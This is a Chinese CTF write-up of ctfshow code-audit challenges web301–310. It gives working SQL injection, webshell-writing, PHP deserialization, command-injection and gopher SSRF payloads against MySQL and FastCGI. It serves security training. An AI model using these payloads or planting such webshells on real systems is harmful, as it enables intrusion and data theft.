ctfshow web入门 代码审计

web301

下载源码后在checklogin.php发现问题代码

<?php
error_reporting(0);
session_start();
require 'conn.php';
$_POST['userid']=!empty($_POST['userid'])?$_POST['userid']:"";
$_POST['userpwd']=!empty($_POST['userpwd'])?$_POST['userpwd']:"";
$username=$_POST['userid'];
$userpwd=$_POST['userpwd'];
$sql="select sds_password from sds_user where sds_username='".$username."' order by id limit 1;";
$result=$mysqli->query($sql);
$row=$result->fetch_array(MYSQLI_BOTH);
if($result->num_rows<1){
	$_SESSION['error']="1";
	header("location:login.php");
	return;
}
if(!strcasecmp($userpwd,$row['sds_password'])){
	$_SESSION['login']=1;
	$result->free();
	$mysqli->close();
	header("location:index.php");
	return;
}
$_SESSION['error']="1";
header("location:login.php");
?>

这里有一句完全没过滤的sql查询语句,而username是我们可控的,再看它下面的逻辑,会将查询到的用户名和密码比较,如果用户名和密码相同就登陆成功。

strcasecmp(string1,string2)
string1 必需。规定要比较的第一个字符串。
string2 必需。规定要比较的第二个字符串。

该函数返回:

0 - 如果两个字符串相等
<0 - 如果 string1 小于 string2
>0 - 如果 string1 大于 string2

那这里就可以用联合查询让username返回1

payload:

userid=-1' union select 1%23&userpwd=1

或者也可以用sqlmap去跑

web302

修改了代码的一个地方

if(!strcasecmp(sds_decode($userpwd),$row['sds_password'])){

直接写马即可,虽然经过sds_decode()函数的处理,但是他的sql语句已经执行了

payload:

userid=-1' union select "<?php @eval($_POST[a]);?>" into outfile "/var/www/html/a.php"#&userpwd=1

web303

先用弱口令admin/admin,诶,直接进去了,但是并没有flag,审计下载的源码,在dptadd.php发现注入点

<?php
session_start();
require 'conn.php';
if(!isset($_SESSION['login'])){
header("location:login.php");
return;
}else{
	//注入点
	$_POST['dpt_name']=!empty($_POST['dpt_name'])?$_POST['dpt_name']:NULL;
	$_POST['dpt_address']=!empty($_POST['dpt_address'])?$_POST['dpt_address']:NULL;
	$_POST['dpt_build_year']=!empty($_POST['dpt_build_year'])?$_POST['dpt_build_year']:NULL;
	$_POST['dpt_has_cert']=!empty($_POST['dpt_has_cert'])?$_POST['dpt_has_cert']:NULL;
	$_POST['dpt_cert_number']=!empty($_POST['dpt_cert_number'])?$_POST['dpt_cert_number']:NULL;
	$_POST['dpt_telephone_number']=!empty($_POST['dpt_telephone_number'])?$_POST['dpt_telephone_number']:NULL;
	
	$dpt_name=$_POST['dpt_name'];
	$dpt_address=$_POST['dpt_address'];
	$dpt_build_year=$_POST['dpt_build_year'];
	$dpt_has_cert=$_POST['dpt_has_cert']=="on"?"1":"0";
	$dpt_cert_number=$_POST['dpt_cert_number'];
	$dpt_telephone_number=$_POST['dpt_telephone_number'];
	$mysqli->query("set names utf-8");
	$sql="insert into sds_dpt set sds_name='".$dpt_name."',sds_address ='".$dpt_address."',sds_build_date='".$dpt_build_year."',sds_have_safe_card='".$dpt_has_cert."',sds_safe_card_num='".$dpt_cert_number."',sds_telephone='".$dpt_telephone_number."';";
	$result=$mysqli->query($sql);
	echo $sql;
	if($result===true){
		$mysqli->close();
		header("location:dpt.php");
	}else{
		die(mysqli_error($mysqli));
	}
	
	 }
?>

这里可以在insert插入时注入。

payload:

dpt_name=1&dpt_address=1&dpt_build_year=2001-07-01&dpt_has_cert=1&dpt_cert_number=1',sds_telephone=(select group_concat(table_name) from information_schema.tables where table_schema=database())%23&dpt_telephone_number=

dpt_name=1&dpt_address=1&dpt_build_year=2001-07-01&dpt_has_cert=1&dpt_cert_number=1',sds_telephone=(select group_concat(column_name) from information_schema.columns where table_name='sds_fl9g')%23&dpt_telephone_number=

dpt_name=1&dpt_address=1&dpt_build_year=2001-07-01&dpt_has_cert=1&dpt_cert_number=1',sds_telephone=(select group_concat(flag) from sds_fl9g)%23&dpt_telephone_number=

web304

增加了waf

function sds_waf($str){
	return preg_match('/[0-9]|[a-z]|-/i', $str);
}

但是上题payload还是能用,只是把表名从sds_fl9g换成sds_flaag

web305

class.php中存在反序列化点,直接写马,在checklogin.php中传入

//class.php
<?php
class user{
	public $username;
	public $password;
	public function __construct($u,$p){
		$this->username=$u;
		$this->password=$p;
	}
	public function __destruct(){
		file_put_contents($this->username, $this->password);
	}
}

//checklogin.php
<?php
error_reporting(0);
session_start();
require 'conn.php';
require 'fun.php';
require 'class.php';
$user_cookie = $_COOKIE['user'];

poc:

<?php
class user{
    public $username;
    public $password;
    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
}

$a = new user('1.php','<?php @eval($_POST[a]);?>');
echo urlencode(serialize($a));

然后在burp中抓包打
在这里插入图片描述
用蚁剑连接时要注意把cookie加上,否则连接不上,然后连接数据库,在数据库中获取flag
请添加图片描述

web306

mvc结构,先找危险函数,在class.php中发现file_put_contents()

class log{
	public $title='log.txt';
	public $info='';
	public function loginfo($info){
		$this->info=$this->info.$info;
	}
	public function close(){
		file_put_contents($this->title, $this->info);
	}

}

那么继续找在哪里调用了这个close()函数,可以发现在dao.php中调用

class dao{
	private $config;
	private $conn;
	
	public function __destruct(){
		$this->conn->close();
	}
}

最后只剩一个利用点,在index.php中,

<?php
session_start();
require "conn.php";
require "dao.php";
$user = unserialize(base64_decode($_COOKIE['user']));

且正好index.php中包含了dao.phpdao.php中包含了class.php

poc:

<?php
class dao{
    private $conn;
    public function __construct(){
        $this->conn=new log();
    }
}

class log{
    public $title='1.php';
    public $info='<?php @eval($_POST[a]); ?>';
}

$a = new dao();
echo base64_encode(serialize($a));

web307

下载源码后发现把上一题的关键函数close()换成了closelog(),不能再用上一题的思路。
还是先找危险函数,发现shell_exec()

class dao{
	private $config;
	private $conn;
	
	public function  clearCache(){
		shell_exec('rm -rf ./'.$this->config->cache_dir.'/*');
	}
}

因为是拼接的,在config.php中可以找到这个变量

class config{
	public $cache_dir = 'cache';
}

正好在dao.php中包含了config.php,那么就可以利用这个来rce,有两个反序列化的地方:login.php和logout.php,比较后发现logout.php中直接调用了clearCache()

$service = unserialize(base64_decode($_COOKIE['service']));
if($service){
	$service->clearCache();
}

poc:

<?php

class config
{
    public $cache_dir = ';cat /var/www/html/flag.php > /var/www/html/3.txt;';
}

class dao
{
    private $config;

    public function __construct()
    {
        $this->config = new config();
    }

}

$a = new dao();
echo base64_encode(serialize($a));
?>

web308

发现上一题的rce处加了正则,利用不了,要寻找新的利用点
在fun.php中,发现了ssrf的利用点

function checkUpdate($url){
		$ch=curl_init();
		curl_setopt($ch, CURLOPT_URL, $url);
		curl_setopt($ch, CURLOPT_HEADER, false);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); 
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
		$res = curl_exec($ch);
		curl_close($ch);
		return $res;
	}

全局搜索一下checkUpdate()函数,发现在dao.php中使用到

//dao.php
public function checkVersion(){
		return checkUpdate($this->config->update_url);
	}

且在config.php中,mysql数据库无密码,网址可控

<?php

class config{
	private $mysql_username='root';
	private $mysql_password='';
	private $mysql_db='sds';
	private $mysql_port=3306;
	private $mysql_host='localhost';
	public $cache_dir = 'cache';
	public $update_url = 'https://vip.ctf.show/version.txt';

因此用gopherus生成payload
请添加图片描述
poc:

<?php

class config
{
    public $update_url = 'gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%45%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%61%5d%29%3b%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%22%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%31%2e%70%68%70%22%01%00%00%00%01';
}

class dao
{
    private $config;

    public function __construct()
    {
        $this->config = new config();
    }

}

$a = new dao();
echo base64_encode(serialize($a));
?>

web309

这题的mysql有密码了,不能再像上一题一样利用gopher协议ssrf,可以通过gopher协议的延时判断为打的是fastcgi

gopher://127.0.0.1:9000

继续用gopherus生成payload
请添加图片描述
poc:

<?php

class config
{
    public $update_url = 'gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH72%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00H%04%00%3C%3Fphp%20system%28%27cat%20/var/www/html/f%2A%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00';
}

class dao
{
    private $config;

    public function __construct()
    {
        $this->config = new config();
    }

}

$a = new dao();
echo base64_encode(serialize($a));
?>

web310

可以先读配置文件

poc:

<?php

class config
{
    public $update_url = 'file:///etc/nginx/nginx.conf';
}

class dao
{
    private $config;

    public function __construct()
    {
        $this->config = new config();
    }

}

$a = new dao();
echo base64_encode(serialize($a));
?>

看到4476端口是被监听的,且存在flag
请添加图片描述
那么直接访问即可
poc:

<?php

class config
{
    public $update_url = 'http://127.0.0.1:4476';
}

class dao
{
    private $config;

    public function __construct()
    {
        $this->config = new config();
    }

}

$a = new dao();
echo base64_encode(serialize($a));
?>
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Lum1n0us

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值